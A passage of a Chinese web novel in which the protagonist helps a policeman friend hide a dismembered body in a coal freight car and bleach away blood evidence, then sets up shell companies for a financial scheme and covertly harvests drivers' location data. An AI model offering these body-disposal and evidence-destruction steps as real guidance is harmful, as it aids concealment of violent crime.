“像这种王八蛋,我把他大卸八块扔到街上去喂狗,也不会有心理负担。” 马辉的双腿像是被人抽掉了骨头,整个人一软,轰然瘫倒在地上。 韩学涛冷冷的声音继续传来:“你自己就是警察,用法律维持你的秩序,不让别人用这把刀砍到你头上。守住你老娘,护住你女人。你马辉这辈子就值了。你还想干嘛?像你爸一样,莫名其妙就没了?给你们母子留下什么?” 马辉闭上眼,眼泪涌了下来。 ... 夜幕彻底沉下,旧货场只剩远处高杆灯投下来的几团昏黄光晕,大部分区域都泡在浓稠的黑暗里。铁轨在脚下延伸,像两条沉默的长虫,趴在碎石和杂草中间。风从空旷的站台方向灌过来,裹着煤灰和铁锈的味道。 韩学涛蹲在货场边缘的野草丛里,半眯着眼,盯着百米外那段编组线。 “别他妈乱看。”他压低声音,手按在马辉肩膀上,“看车,别看灯。灯是骗眼睛的,车才是真的。” 马辉趴在他旁边,呼吸还没完全平下来。他把手电筒塞回腰间,手指在发抖。 韩学涛没理他。他的目光沿着铁轨一节一节地扫过去。停着的货车不少,有的刚进站,车厢门还开着,装卸工在旁边抽烟聊天。有的已经编好了,车头挂在最前面,整列车安静地趴在轨道上,像一条沉睡的铁龙。 片刻后,他选中了其中一列。 “看到了没有?最里面那一列。车头挂好了,尾灯亮着,这是待发的。”韩学涛稳稳说道,“不要选刚进站的,太乱,人多。不要选还没编好的,不知道什么时候走。就选待发的——车头烧着汽,随时会动。” 马辉咽了口唾沫:“怎么过去?” “走路过去。你以为怎么过去?”韩学涛说着弓起腰,贴着杂草和废料的阴影往前摸。马辉跟在后面,每一步都像踩在自己的心跳上。 他们摸到了那列车的尾部。韩学涛贴着车厢侧壁,慢慢直起身,借着远处那点微弱的光往里看了一眼—— 车厢里装的是煤。 黑压压的原煤,堆得几乎要漫出来。 “原煤。”韩学涛转过头,招手让马辉靠过来,“运气不错。C64敞车,标重六十吨。知道六十吨是什么概念吗?比你这辈子见过的所有秤都大。这种车过轨道衡,误差按吨算。咱们手里这点分量,丢进去连个水花都听不见。” 马辉盯着那黑洞洞的车厢,嘴唇动了动。 韩学涛没给他说话的机会,转身从旁边一堆废料里扒拉出一把长柄平头铁锹,锹头锈迹斑斑,木柄上裹着一层黑油。他在手里掂了掂,分量刚好。 “听着。不能扛着走过去。那是外行。你扛个袋子走在站台上,一眼就被人看出有问题。” 他把铁锹往马辉手里一塞,从阴影里拖出早就准备好的那个编织袋。袋子沉甸甸的,里头已经提前灌了不少废钢件和铁砂。他拎了一下,分量足够让袋子落地时直接扎进煤堆里,不会弹跳,不会发出异响。 “我们已经加过料了。扔下去就是一下。不会有那种咚的一声。记住了,声音是最大的敌人。人听不见就不好奇,不好奇就看不见。” 他撑开袋口,开始往里面填煤。不是随便填,而是把马辉带来的东西一块一块地嵌进煤块之间的缝隙里,再用碎煤把它们裹死。他的动作熟练得不像是在处理一具尸体,更像是在往行李箱里叠衣服——有条不紊,层层递进。 马辉站在旁边看着,胃里翻了几下,但他忍住了。 “来,搭手。”韩学涛低声招呼他。 两个人把袋子抬起来,放到车厢边缘。韩学涛拿起铁锹,先往车厢里扬了几锹煤,落下去的声音是沙沙的,像下雨。然后他示意马辉推袋子。袋子翻下去的那一刻,发出一声沉闷的“噗”,像一只大脚踩进了深泥里——没有弹跳,没有回响,就那么直直地嵌进了煤堆中间。 韩学涛立刻抄起铁锹,一锹一锹地往袋子上盖煤。他的动作不急不缓,甚至带着一种节奏感,就像那些夜里清理站台的工人一样自然。 煤块哗啦啦地落下去,覆盖在袋子上,一层,两层,三层。不出半分钟,那个袋子就彻底消失在了黑色的煤海里,看不出任何翻动的痕迹。 “拿着。”韩学涛把铁锹塞回给马辉,“扬几锹。慢一点,稳一点。你现在不是运尸的,你就是个铲煤的。身上有灰,手上有黑,谁看了都不会多问你一句。” 马辉接过铁锹,手还是在抖。他咬紧牙关,一锹一锹地往车厢里扬煤。动作僵硬,但起码在动。 韩学涛退后一步,靠在车厢上,点了一支烟。火光在他脸上闪了一下,迅速被黑暗吞没。他抬头看了一眼远处的车头,蒸汽从排气管里一缕一缕地冒出来,在昏黄的灯光下像一条灰白色的蛇慢慢爬向夜空。 “车一走,就结束了。”他吐出一口烟,声音淡淡的,“等这列车进了西北或者东北的重工业区,车厢里的煤会被倒进磨煤机。磨煤机你知道是什么东西吗?钢球,大铁球,在里面转,能把石头磨成粉。你的那些事,到那时候连粉末都不会剩下。” 马辉停了手,铁锹杵在煤堆上,大口大口地喘气。 韩学涛把烟头弹出去,火星在黑暗中划了一道弧线,落在铁轨上,被夜风吹灭了。 “走了。”他拍了拍马辉的肩膀,“回去洗个澡,把这身衣服烧了。今晚你哪儿都没去过,什么都不知道。” 他们的影子拉得很长,沿着铁轨的方向,一步一步被黑暗吞了进去。身后那列车安静地趴着,像什么都没发生过。 远处,车头突然拉了一声汽笛。 第165章 干了这杯,翻过去 韩学涛没让马辉回宿舍。 马辉现在这状态,只要不瞎,谁都能看出不对劲。 不过最慌的那阵已经过去了——这点韩学涛有经验。当年他在南美第一次杀人,完事后手也抖、心也跳,可熬过头半个小时,人反而比平时更冷静。 牢里那几年,把他磨出来了。 但这个关,谁也替代不了。得自己走过去。 “男人打架、抢地盘、争女人,是本能。”韩学涛走在前面,步子不快不慢。 “只不过规矩、教育、法律——一层一层把你捆住,捆到你乖,捆到你认命。” “可你要往上走,想跨出那一步,就得自己把绳子解开。” “不是叫你去杀人。” “是让你心里明白——那些东西,是人定的,不是天定的。” “别人不敢,你敢。 “这就叫差距。” 身后,马辉的脚步声顿了一下。 然后又跟了上来。 留学生宿舍,韩学涛打开房门。 马辉站在门口,愣了一瞬。 “涛子,你在大学住单人间?” “老师给我找的,方便用电脑。”韩学涛把手里的东西往桌上一搁,“行了,快去洗澡。衣服脱下来给我。” 马辉低头看了看身上那套警服。布料上沾着什么,他没敢细看。 “可我身上这套是警服。” “你不会只有一套吧?”韩学涛看着他,“明天回去再换。这一套,必须处理掉。” 马辉没再吭声,拿了毛巾进了卫生间。 不一会儿水声响起——哗哗的,像要把什么东西从五脏六腑里冲出去。 韩学涛关上门,把马辉换下来的衣服、鞋袜拢成一堆。自己身上的也脱了,全扔进一个大桶,倒上洗衣粉和白猫漂白水。 浸泡,搅动。很快,衣服上那股味道就散了。 白猫漂白水,超市里一块五一瓶,一般买来漂白发黄的衬衫的。 但这玩意儿分解血红蛋白——有奇效。 换了身干净衣服,他出门拐上二楼,敲了敲戴维的门。 门一开,音乐、烟味和香水味扑面而来。 屋里不止戴维一个人——沙发上坐着一男三女,桌上摆着好几瓶洋酒和几碟零食,音响里放着英文歌。 一个穿黑色吊带裙、端着一杯酒跟旁边人说笑的女生,转过头来—— 许秋。 “韩学涛?”她愣了一下。 韩学涛笑着跟戴维握了握手,又朝许秋点了点头:“带了个哥们儿过来住,有点晚了,不想出去买,来你这儿找点酒。” 戴维揽着他肩膀往屋里让,笑着说:“男的女的?带过来一起玩嘛。” “哥们儿当然是男的。”韩学涛没动,“你们聚会我就不打扰了,回头再约。” 戴维没强留。他跟韩学涛搞了点小合作,不大,但实打实赚了钱——现在看韩学涛的眼神,跟以前完全不一样了。 “红酒还是威士忌?” “红酒吧,喝了好睡觉。” 戴维转身从柜子里抽出一瓶澳洲红酒。韩学涛拿着酒回到房间,马辉还没洗完澡。 他开了瓶,给自己倒了一杯,刚端起来—— 门敲响了。 拉开门。 许秋一个人站在门口。 韩学涛微微一怔。 卫生间里水声还没停,哗哗地响。许秋的目光下意识往那个方向偏了一下,随即用手掩着嘴:“哎呀,我来的不是时候啊——不打扰你了。”说着就要转身。 “别别别。”韩学涛伸手虚拦了一下,“进来坐。” 许秋笑着走了进来,眼睛在房间里转了一圈: “我还是第一次到你这个屋来。上次在楼梯碰见你还对我保密,后来听戴维说了——我还以为你在这儿金屋藏娇呢。” 韩学涛拉过一把椅子让她坐下,顺手拿了个杯子,倒了半杯红酒递过去: “娇娘没有,电脑倒是有一台。我在这儿就是方便做项目,电脑放宿舍不太方便。” 许秋接过杯子抿了一口,在椅子上坐下来:“真好呀,一个人住一间,还可以洗澡、看电视——比宿舍强多了。” “我不用电脑的时候都住宿舍。”韩学涛也坐下来,端着杯子晃了晃,“我还是喜欢宿舍,热闹。” “真的假的?” “漫漫余生,自己一个人孤独的时候长着呢。跟朋友一起热闹的时候短。”韩学涛说,“能珍惜就珍惜吧。” 许秋握着杯子,像是在琢磨这句话。 过了一会儿,她抬起头,声音低了些: “可能出国就是这种感觉吧。我现在特别想出去——但一想到出国以后的生活,又觉得害怕。完全陌生的生活,不知道自己能不能适应。” “现在进行到哪一步了?” “准备考托福。”许秋叹了口气,“头疼。真羡慕你们这些英语好的,尤其是听力。” 她顿了顿,看着韩学涛,“韩学涛,你英语这么好,为什么不想着出国呢?” 韩学涛笑了一下,很淡。 “出国不是终点,出国以后干什么才是。我觉得未来一段时间,国内的机会更多。” 许秋看着他,嘴唇微微动了一下,像想说什么。 最终没说。 卫生间的水声停了。 门开了。 马辉穿着韩学涛的衣服走出来,头发还湿着,看见坐在外面的许秋,整个人钉在原地——不知道该往前走,还是该退回去。 韩学涛笑着说:“看见了吧?是哥们吧,不是金屋藏娇吧。” 许秋站起来,“我可没有那个意思。而且我们只是联谊寝室,又没有什么查岗的义务。”她朝韩学涛举了举杯,把剩下的酒喝完,“走了,不打扰你们了。” 门关上了。 “还好我穿了衣服出来。这女生是谁?”马辉目送许秋离开,神色比刚才松弛了不少,仿佛再次回到人间。 韩学涛给他倒了半杯酒:“我们联谊寝室的。刚才去要酒的时候碰上了,过来坐坐。” 马辉把那半杯酒推回去,自己拿过酒瓶,把杯子倒了个满。又拿起韩学涛的杯子,也倒满了。 他端起杯,碰了一下韩学涛的杯沿—— “涛子——我以前不明白。” “现在我懂了。” 他看着杯子里暗红色的酒液,笑了一声,有点苦。 “我知道你为啥事事都比我强了。学习比我好,打架比我狠,女生也喜欢你。” “因为你做事比我彻底。你从来不怕,认准了就不会瞻前顾后——而我……” 他没有说下去。 韩学涛举起杯——“心里有事,别搁着。” “干了这杯,翻过去。” “翻不过去的——就踩碎它。” 仰起头,一口气把整杯红酒干完了。 马辉仰起头。一口气把整杯红酒干完了。 杯子往桌上一顿。 “今晚的事——翻篇。” 他抬起头。眼神变了——不是刚才那种慌乱和恐惧,是另一种东西。像一块铁烧得通红之后,猛地扎进冷水里。 他看着韩学涛。 “涛子——以后的路,我知道怎么走了。” 两个空杯子并排搁在桌上。玻璃瓶里的红酒下去了一大截,在灯光下泛着暗沉的光。 窗外的夜风从缝里挤进来,吹得窗帘微微摇晃。 第166章 七分天注定 老谢走进寝室,拍了拍手,把大家的注意力拢过来:“港岛回归那天,学校要办观看仪式。大礼堂先演文艺汇演,演完了直接看回归仪式。想去的人提前报名,名额有限。” 赵江从床上探出头来,问了一句:“不是说要拉幕布放露天吗?” “也有。但那个得看天气,万一下雨就泡汤了。系里自己也有安排,不过最正式的还是大礼堂这场,还有节目看。”老谢解释道,“就是艺术节那批节目,在学校再演一遍,看完直接看仪式。想去的话跟我说一声就行。” 韩学涛正趴在桌上翻译英语教材,头都没抬:“我就不去了,已经看过了。” 李靖也跟着摇了摇头:“文化中心我都去过两次了,我也不去了。” 老谢笑了一下,目光转向楚强和小白:“那要不就你俩?你俩还没去过文化中心吧?” 楚强说:“我不去,我有点事。” 小白也摆了摆手:“我等露天吧,大礼堂里太闷了。” 老谢拿起笔,在自己本子上划了一道:“行,那我把自己名字报上去了。你们我不管了。”说完合上本子,拍了拍韩学涛的肩膀,“学涛,外面抽烟,我跟你说点事。” 两人走到走廊尽头的窗口。老谢掏出烟,递了一根给韩学涛,自己也点上一根,吸了一口,笑眯眯地问:“学涛,有没有想过入党?” 韩学涛把烟点上,说:“让给别人吧。” 老谢夹着烟,语气依旧不急不慢:“现在虽然不包分配了,但进国企、进事业单位、考公务员,有这个身份还是有点优势的。大学时期入党,门槛低,比出去以后再弄容易得多。” 韩学涛摇摇头:“老谢,不用说了。你说的那些单位,我都不会进。” 老谢沉默了两秒,然后笑着拍了拍他的肩膀:“我第一个就来问你,你还把我给拒了。行,那我找别人了。” 韩学涛听出他话里的意思,笑了笑:“谢了,我心里有数。不过我志不在此。” 老谢点点头,靠在窗台上又吸了一口烟,吐出来,烟雾被窗外的风吹散。 “对了,跟你说个事。”他偏过头看着韩学涛,“学生会新进的新生,尤其是几个副部长,都在申请入党。只有一个例外——你猜是谁?” 韩学涛看了他一眼:“展雪?” 老谢点点头:“她没有申请,也没有要竞争部长的意思。我甚至听说——她想退出学生会。” 韩学涛无所谓地笑了笑,把烟掐灭在窗台上。 “这事我也不太清楚。不过以她的性格,应该也不会把学生会当成什么香饽饽。她就是玩吧。” 老谢笑着叹了口气:“真羡慕你们。潇洒。我就不行了,感觉身上一堆瓶瓶罐罐的东西,压得累。” 韩学涛说:“那是你追求的太多。” 第二天一早。 韩学涛去了电信营业厅,缴了一千块押金,又预存了一千块话费,这才把国际长途开通了。 回到学校,他拨老洪在东南亚的号码,没成想信号差得出奇,断断续续的,一句话要重复三四遍才能听全。 他在校园里转了大半圈,最后发现行政主楼的信号最好。 行政主楼楼顶。韩学涛带了两片生菜叶子,喂了喂展雪养的小黑,然后找了一个背风的角落,拨通了老洪的电话。 “老洪,那边怎么样?” “都准备好了。你让我办的,一样不落。”老洪说,“账户开了十几个,本地银行也谈了,贷款批了三笔,还有几家在走程序。空壳公司注册了六家——贸易的、咨询的、金融服务的,什么壳都有。” 韩学涛“嗯”了一声,没插话。 老洪接着说:“账户、贷款我能理解。可空壳公司——你弄那么多干什么?” 以老洪的敏感程度,他隐约觉得这些空壳公司凑在一起,只有一个可能——要诈骗。但他始终没看出韩学涛的目标是谁,这让他心里有些不安。 其实老洪自己也觉得神奇:他干了一辈子,什么人没见过,到头来居然对一个认识不久的大学生产生了一种莫名的信任,信了他的话跑到东南亚来做这笔大买卖。 二十万人民币在国内不算少,可扔进东南亚连个响都听不见,而他偏偏就信了。事后回想,老洪觉得是自己的性格使然——这么一个无中生有的庞大布局,他实在没法不动心。 眼看着日期一天天临近,借款越滚越多,公司一个个注册,他的肾上腺素从来没降下来过。 “老洪,以你的能耐,空壳公司是干什么的,你还看不出来?”韩学涛语气不紧不慢,“别急,过几个月自然就揭晓了。事情按我说的办。你要是不放心,给自己备条退路。这对你来说不难。” 老洪没再追问,说:“行,既来之则安之,一样一样往下做。” 他话锋一转,“对了,我选了几个肉鸡。两个泰国的:一个明面上搞橡胶,实际上做贩奴买卖;一个开娱乐城,赌场起家。还有一个马来西亚的,做海鲜出口,明面上是鱼虾,底下走的什么货你我都清楚。资料回头发给你,你看选哪个合适。” 韩学涛眼睛眯了一下:“那个搞走私的,叫什么名字?” “黄志贤。” 韩学涛突然想到了来胜平,不知道这个黄志贤和来胜平是什么关系。 他心中模糊的念头一闪,干脆地说:“资料不用发了,就他。” 老洪没想到他决定得这么快,微微一愣,随即很欣赏地说:“做事就得这么干脆,犹犹豫豫的什么也干不成。三分天注定!” “我跟你反过来。”韩学涛说,“七分天注定,三分靠打拼。人能把自己那三分做到位就不错了。别太拿自己当回事,觉得自己比天都大——早晚要倒霉。” 风从楼顶吹过来,把他的话切碎了几分。 电话那头,老洪哈哈地笑了起来:“学涛啊,这真不像从你嘴里说出的话。” 第167章 革命的一块砖,要看领导往哪搬 七一之前,测绘局的项目总算收了尾。 这回,测绘局没再发超市卡,而是每人发了一袋大米、一桶油。 韩学涛看着这两样东西,哭笑不得——在学校念书,自己又不开火做饭,要这些干什么?测绘局工会的做法,也太“实诚”了。 他让小白当代表,把东西送回了测绘局工会和行政那几个老姐姐手里。人家倒高兴得很,直夸这小伙子懂事。 经过这事,韩学涛心里琢磨了一下:魏局长那边,得意思意思。 他去商场挑了块表,两千多块,装在一个深色木盒里,看着挺像回事。第二天下午,他去了测绘局,敲开了魏局长的门。 魏局长正在看文件,抬头见是他,摘下眼镜放在桌上,往椅背上一靠,笑着说:“小韩,项目做完了?” “做完了。”韩学涛把木盒放在办公桌上,推到魏局长面前,也没说什么客套话,“魏叔,这段时间承蒙照顾,一点小心意。” 魏局长笑眯眯地打开盒子,看了一眼表,拿在手里端详了一下,又戴到手腕上试了试,左右转了转,笑着点点头:“你这小韩,都喊我叔叔了,还这么客气干什么?” 韩学涛说:“这是我自己的心意。项目做完以后来的时间就少了,想想挺舍不得的。” “行,那我就收下了。”魏局长把表取下来放回盒子里,“小韩,跟你说个事。不光你来得少了,我可能也来得少了。” 韩学涛看着他。 “等眼下这个项目彻底收尾,我估计也要调任了。”魏局长端起茶杯喝了一口,不紧不慢地说。 韩学涛心中一动:“有地方了?” “现在可说不好。组织上还在考察,我们也不能揣测组织的意见。反正是革命的一块砖——哪里需要,就往哪里搬。”魏局长放下茶杯。 韩学涛笑了笑:“总有些意向吧。” 魏局长看了他一眼,斟酌了一下:“几种可能吧。规划、人事,或者就在我们区,混个副区长。” 韩学涛明白了——规划局和人事局都是实权部门,比测绘局强了不止一个档次;至于副区长,那是实打实地升了一级。 “魏叔,恭喜了。”韩学涛说。 “还没定的事,恭喜什么。”魏局长摆了摆手,嘴角的笑意却没压住。 “魏叔,你也别光自己心里琢磨。”韩学涛轻声提醒,“革命的一块砖,要看领导往哪搬。想想领导需要你这块砖补到哪里,那就是宁海发展最需要你的地方。” 魏局长愣了一下,随即哈哈大笑,手指在桌上点了点:“小韩,等你毕业,看我在哪个位置。要不你过来给我当秘书?” 韩学涛笑着说:“魏叔,我已经答应我老师了,读他的研究生。要出来工作,怎么也得五六年以后了。” 魏局长看了他一眼,最后点了点头:“行,读研好,年轻人多读点书没坏处。”他又端起茶杯,送到嘴边抿了一口,没再说什么。 韩学涛给包丽打了个电话。不到半小时,一辆车停在测绘局门口。韩学涛正准备上车,一抬头,看见楚强和小白慢悠悠地从大门口走出来。 “你们俩怎么没回学校?”韩学涛问。 小白说:“项目做完了,坐公交车回去也没劲,想走回去。” 车里,包丽探出头来,看见小白,眼睛弯了一下,抬手打了个招呼:“哈喽。” 小白看见包丽,愣了一下。他对包丽印象深刻——当初他闯祸烧了楼,就是韩学涛带着见到这个女孩的,连当时身上穿的衣服都是她给买的。脸微微红了一下,点了点头:“你好,好久不见。” 包丽抿了抿嘴唇,掩口一笑。 小白转头问韩学涛:“涛哥,你这是去哪?” 韩学涛说:“找小丽谈点事。你俩一起上车吧,回头我们一起吃饭,让小丽请客。” 小白连忙摆手:“那多不好意思,我来请吧。” 楚强也跟着说:“我和小白一起请,哪能让女生请客。” 韩学涛拉开车门:“能不能别闹?小丽是开公司的,你们比得了?” 上了车,韩学涛坐副驾驶,楚强和小白坐后排。他也不管后面两个人,直接和包丽谈事情。 “哥,那批方块机已经陆续收回来上千台了,后续你打算怎么弄?”包丽握着方向盘,眼睛看着前面的路,语气很随意。 “找工人拆。先拆一百台,把里面的模块拿给我。”韩学涛说。 “要不要返厂?我怕这边工人不熟悉,拆坏了。” “不用,坏了没关系。只要里面核心的模块能用就行。” 他们聊得起劲,后排的楚强和小白听得一头雾水。 楚强靠在座椅上,看着窗外的街景,脑子里想着韩学涛。 他被韩学涛拉进地质系的项目,学校那边有补助,测绘局这边也经常发点福利,学杂费是不用担心了。等这个项目彻底结束,还有一笔奖金,家里的债务又能缓一缓,但距离还清还差得远。 韩学涛说过一年之内让他还清。他不确定这话能不能兑现,但说句实在话,即便还不清,他也已经很感激了。这是他家的事,不是韩学涛家的事。作为一个寝室的室友,能帮他到这一步,这份人情已经够重了。 他佩服韩学涛。从小到大,同龄人中能让他佩服的,这是头一个。但佩服归佩服,他看不懂。他能感觉到韩学涛是一个目标非常明确的人,可从韩学涛日常做的事情里,他又看不出那个目标到底是什么。 这个人对他来说是一个谜。他从小就是骄傲的人,不肯开口问,只自己默默观察。 小白坐在另一边,心思不在韩学涛身上。他看着驾驶座上包丽的侧脸——年纪不大,看起来比自己还小一点,可穿衣服、说话,那种从容劲儿,比自己成熟太多了。她竟然已经开公司了?自己连大学都还没毕业。 这个女生跟他在学校见过的所有女生都不同。 包丽开着车,拐了两条街,在一家叫“食香汇”的餐馆门口停下来。她跟这里的老板很熟——餐馆的抽油烟机是她卖的。 包丽要了一个包间,把菜单往桌上一放:“这儿是中西结合,你们随便点,今天我请客。” 楚强和小白对视一眼,都说不能让女生买单。楚强站起来,拉着小白出去点菜。外面大厅有个展示台,鱼虾在水槽里游着,蔬菜一排一排码得整整齐齐,想吃什么直接指,服务员在后面跟着记。两个人凑在展示台前,头碰头研究点什么菜。 包间里只剩下韩学涛和包丽。包丽从包里拿出一张卡,推到韩学涛面前:“哥,这是抽油烟机最新的分红,三万八。” 韩学涛没接卡,说:“你留着吧,最近花销大。” 包丽叹了口气:“抽油烟机的生意不好做了,市场竞争越来越激烈,利润越来越薄。” “差不多了。”韩学涛端起茶杯喝了一口,“回头找新的项目。” 包丽问:“能不能做方块机?那东西利润挺高的。” 韩学涛放下茶杯,摇了摇头:“不要做。那块市场看起来大,实际上成本投进去,收不了一两年的钱就没了。随身听、MP3,甚至BP机,都是一个道理。咱们只做贸易没有意义。” “那做什么?” “别急。”韩学涛靠在椅背上,“到时候我会跟你说。” 第168章 起风了 一百台方块机,很快便拆完了。 韩学涛把拆下来的模块带回留学生宿舍,在桌上一字摊开——绿色的电路板,指甲盖大小的存储芯片,焊点密密麻麻。他拿起一个模块端详了一会儿,不得不承认,吴厂长的活儿干得不差,至少没有虚焊。 他把模块一个一个插进读卡器里,连上电脑。屏幕上一行行数据跳了出来。他自己写的程序开始跑,把模块里的路线数据逐条读出,转换成坐标,投到屏幕上。 第一条线路出来了。屏幕上出现了一条弯弯曲曲的线,穿过城东一片居民区,拐了两个弯,在一个路口停住。第二条叠加上去,第三条,第四条……越来越多的线条在屏幕上生长出来,像一棵树的根系在黑暗中慢慢展开。 有些地方还是空的,有些地方已经有了密度。一个出租车司机的日常线路,加上另一个黑车司机的穿街走巷,再加上第三个、第四个、第一百个——宁海市的城市脉络,开始在这块屏幕上一点点浮现出来。 韩学涛靠在椅背上,看着那幅越来越像样的地图,心里涌上一股说不清的感觉。不是兴奋,而是一种笃定——这条路走对了。 这些模块里存储的,正是那些司机们每天在这座城市里跑出来的轨迹。 一个司机一天跑多少路?两百公里起步。一百台机器同时跑一个月,就是几十万公里的行驶数据。这些数据化成线路,叠加在他从测绘局拿到的基础底图上,宁海市的每一条街、每一条巷子、每一个能走车的小路,都会被一一填满。 这套地图还不全,缺的地方不少,一百台机器的数据远远不够。等那三千台方块机全部收回来,地图就会越来越密,越来越细。到那时候,连那些在地图上没有名字的小巷子,都会被标记得清清楚楚。 他站起来,走到窗前,点了一根烟。 自己用了一个很取巧的方式。真要让他自己去跑街测绘,成本高、时间长不说,被当成特务抓的可能性也极大。在国内搞地图测绘,手上起码得有两样东西——测绘局的工作证,再加上军区的公函。没有这两样东西,拿着仪器在街上转悠,早晚被人举报。 但现在不一样了。那些出租车司机、三蹦子车主,根本不知道自己在做什么。他们只知道自己每天在路上跑,机器里的游戏就会自动记录里程、自动解锁新关卡。没有人意识到,自己同时也在一笔一画地勾勒这座城市的骨骼。 韩学涛掐灭烟,走回电脑前,屏幕上的光映在他脸上。他伸出手,用鼠标把地图拖拽了一下——有些地方还空着,需要再等等。 很快就能填好,不急。 …… 港岛回归前最后一天。 从白天开始,校园里就忙碌起来了。 主干道上拉起了横幅,红底白字写着“庆祝回归!”几个大字。教学楼每个门厅都摆出了宣传板,上面贴着香港百年历史的照片——黑白泛黄的旧影像和崭新的紫荆花图案摆在一起,像两个时代隔着玻璃纸对望。学生会的人搬着梯子在教学楼前挂灯笼,有人举着气球从食堂那边一路小跑过来,五颜六色的一簇在风里摇摇晃晃。 下午下课之后,学校广场上开始搭大荧幕。 宁海大学经常放露天电影,但通常只是临时挂块幕布了事。这次不一样,搭起来的是一个正经的舞台式结构——铁架子焊得方方正正,大荧幕绷得笔直,两侧还立着音箱。 工作人员蹲在地上走线,胶布一道一道地贴在地砖上,有人爬上梯子调试投影机。广场上已经三三两两聚了不少人。有人搬了椅子占位置,有人直接坐在花坛边上,手里端着食堂的饭盆,一边吃一边仰头看荧幕。 旁边几个系的楼也各自开放了直播点——阶梯教室、大礼堂、活动室,能坐人的地方几乎全开了。 今晚寝室熄灯的时间推迟到了凌晨两点。广播里通知了三遍,每次念完都会放一段《东方之珠》,旋律在暮色里飘来飘去。 随着日子临近,韩学涛打国际长途的频率直线上升。 一千块的预存话费,半个月就烧完了。他又去充了两千。 夜晚的留学生宿舍里,他房间的灯常常亮到凌晨。电话那头,老洪的声音夹着沙沙的电流声,从东南亚的某个角落传过来——一个数字一个数字地核对,一个步骤一个步骤地确认。 账户、贷款、空壳公司、汇率、时间窗口。老洪已经不问为什么了,只问怎么做。韩学涛有时候觉得,这台戏的幕布已经在缓缓拉开了。台上空荡荡的,所有演员都还在后台等着,灯光还没亮,音响还在调试。但风已经起了。 六月的东南亚,泰铢已经开始承受巨大的压力。 五月中旬,国际炒家第一次大规模狙击泰铢。泰国央行在外汇市场抛出数十亿美元力守,血流成河,勉强守住了——但市场已经嗅到了血的味道。六月初,泰国内阁否决了财政部长辞职的请求——不是不想让他走,而是实在找不到合适的人来接这个烂摊子。六月中,泰国央行行长换人了,但泰铢还在跌。泰国总理出面要求“非投机性资本流入”——这话翻译过来就是:你们可以进来,但不要做空。到了月底,泰国的外汇储备已经烧掉了上百亿美元,国库快见底了。 六月尾巴上的东南亚,空气里弥漫着一种说不清道不明的东西。不是风暴,而是风暴来临前那种让人喘不上气的闷热。所有人都觉得不对劲,但没有人能说清楚哪里不对。 报纸上轻描淡写地提了几句。国际金融版中间不起眼的一小块,标题是“泰铢承压”,内容寥寥几百字,被搁在版面的最下方,旁边是一幅紫荆花的广告。 没有人预料到,这场席卷整个亚洲、掀起巨大海啸的金融风暴,会在港岛回归的第二天就轰然爆发。 回归前一天晚上,食堂人挤人。 韩学涛懒得去凑热闹,去校外吃了碗面条,又买了几听啤酒,用塑料袋拎着挂在车把上。路过生活超市旁边的报刊亭时,刘姨正蹲在门口收拾纸箱。 “刘阿姨。”韩学涛停下车,从车把上取下塑料袋,腾出一只手来打招呼。 刘阿姨抬起头,看见是他,脸上堆起了笑:“好久没见你过来了。报纸新到了,给你拿。” 照旧请他吃冰棍,刘阿姨然后问:“小韩,你最近还炒股票吗?” 韩学涛跨在自行车上,一只脚撑着地:“没炒了。最近跟着老师做项目,学习也忙。” 刘姨叹了口气:“早知道当时听你的就好了。你说让我把股票都卖掉,我只卖了一半,剩下一半现在还套在里面呢。”她双手撑着台面,语气懊恼,“你说港岛回归了,这股票能不能反弹一点回来?” 韩学涛想了想,说:“如果要反弹,那提前一个月,庄家就得进货了。成交量上不去的话,感觉有点难。”他顿了顿,又笑着补了一句,“当然,我一个地质系的学生也不太懂这些。刘姨您自己看着办。” 刘姨摆了摆手,脸上反倒释然了一些:“我觉得你说得挺有道理的。说白了,这玩意还是看运气——你看有些研究经济的大教授,炒股一样亏。” 韩学涛笑笑,没接话,跟刘姨告了辞,蹬着自行车往行政主楼而去。 第169章 祝你们一路平安 韩学涛把自行车停在行政主楼旁边的花坛边上,锁好,拎着塑料袋上了楼。 拉开天台的门,六月的晚风扑面而来,带着白天日晒后残留的温热。 天已经黑透了,校园里的灯火在脚下铺开一片,远远能看见广场上那面大荧幕还在调试,白色的光柱在夜空中晃了几下,又灭了。 自从展雪带他来了一次之后,他就成了这里的常客。后来发现天台上打国际长途信号最好,来得就更频繁了。 天台角落那只乌龟小黑缩在壳里,听见脚步声,慢吞吞地探出头来。韩学涛蹲下来,从塑料袋里掏出几片生菜叶子,撕碎了放在它面前。小黑伸出脖子嗅了嗅,张开嘴不紧不慢地吃起来。 这只乌龟嘴壮,什么都吃,生菜、西兰花、苹果皮,来者不拒,从来不挑食。韩学涛有时候想,这么好养活的东西,怎么吃了这么久也没见长大多少。 小黑不理他,专心致志地对付着生菜叶子,嚼得慢吞吞的,好像天塌下来也不关它的事。 喂完小黑,韩学涛起身走到天台北侧,靠着一处矮墙蹲下来,掏出手机,拨通了老洪的号码。电话响了几声就接了,老洪的声音带着一股子烟熏火燎的沙哑,懒洋洋的,像是在哪个灯红酒绿的地方泡着,又像刚从牌桌上下来。 “老洪,都办妥了没有?”韩学涛问。 “妥了妥了。”老洪的声音有些无奈,“我真是服了你。二十倍的杠杆你还嫌不够,年轻人,刀子磨得太快,小心伤了自己。” 韩学涛笑道:“二十倍的杠杆,随便找家外资银行就能办了,还用得着您老人家亲自出马?到时候你又说我看不起你,对不起您老人家的排面。” “我老人家不要排面,我要的是这条老命。”老洪在那边啐了一口,“你这单要是爆了,我要被东南亚这边的地下庄家追杀到死啊。” “不是有肉鸡吗?你急什么?天体功洪大师,您老人家法力无边,还会怕几个地下庄家?”韩学涛靠在矮墙上,语气很随意。 “行了行了,你就别给我上眼药了。”老洪笑骂道,“反正现在该做的也都做了。这一局我是拿着老命在陪你玩。你上次跟我说的那句话怎么说来着——行,就会所嫩模;不行,就去工地搬砖?我告诉你,这局要是玩完,我已经没命搬砖了,只能等着你清明时候给我烧纸了。” 韩学涛笑出了声:“天地银行,应有尽有。您老人家有没有喜欢的明星?我扎成纸人给您老一并烧过去。” “你给我滚呐!”老洪在电话那头骂道,“就知道你小子不是什么好东西。不说了,我先去安排——准备跑路啊。” 电话挂了。韩学涛把手机从耳边拿下来,在手里转了两圈,想着老洪在东南亚那边骂骂咧咧的样子,忍不住摇了摇头。 要不是现在还在上大学,实在走不开,他都想亲自过去。这个月的东南亚,肯定相当刺激。 算了,来日方长。 韩学涛打开一瓶啤酒,凉丝丝的雾气从瓶口冒出来。喝了两口,他忽然想到了什么,拎着啤酒瓶又去看小黑。 